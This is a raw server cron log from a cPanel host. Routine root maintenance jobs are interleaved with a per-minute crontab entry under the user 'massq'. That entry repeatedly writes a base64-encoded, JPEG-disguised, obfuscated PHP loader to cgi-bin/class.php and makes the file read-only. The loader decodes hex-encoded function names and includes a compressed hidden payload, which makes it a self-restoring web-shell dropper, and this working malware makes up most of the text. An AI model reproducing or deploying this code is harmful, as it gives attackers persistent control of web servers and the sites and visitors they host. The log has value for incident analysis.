Sep  1 08:48:01 server CROND[8480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:48:01 server CROND[8481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:49:01 server CROND[8867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:49:01 server CROND[8868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:49:01 server CROND[8869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:50:01 server CROND[9251]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:50:01 server CROND[9252]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:50:01 server CROND[9253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:50:01 server CROND[9257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:50:01 server CROND[9255]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:50:01 server CROND[9258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 08:50:01 server CROND[9254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:50:01 server CROND[9260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:50:01 server CROND[9261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:51:01 server CROND[10099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:51:01 server CROND[10100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:51:01 server CROND[10101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:52:01 server CROND[10574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:52:01 server CROND[10575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:52:01 server CROND[10576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:53:01 server CROND[10948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:53:01 server CROND[10950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:53:01 server CROND[10949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:54:01 server CROND[11327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:54:01 server CROND[11328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:54:01 server CROND[11329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:55:01 server CROND[11716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:55:01 server CROND[11718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 08:55:01 server CROND[11722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:55:01 server CROND[11720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:55:01 server CROND[11723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:55:01 server CROND[11725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:55:01 server CROND[11721]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 08:56:01 server CROND[12583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:56:01 server CROND[12582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:56:01 server CROND[12584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:57:01 server CROND[13055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:57:01 server CROND[13057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:57:01 server CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:57:01 server CROND[13056]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 08:58:01 server CROND[13426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:58:01 server CROND[13427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:58:01 server CROND[13428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:59:01 server CROND[13799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:59:01 server CROND[13800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 08:59:01 server CROND[13801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:00:01 server CROND[14211]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  1 09:00:01 server CROND[14213]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:00:01 server CROND[14217]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 09:00:01 server CROND[14215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
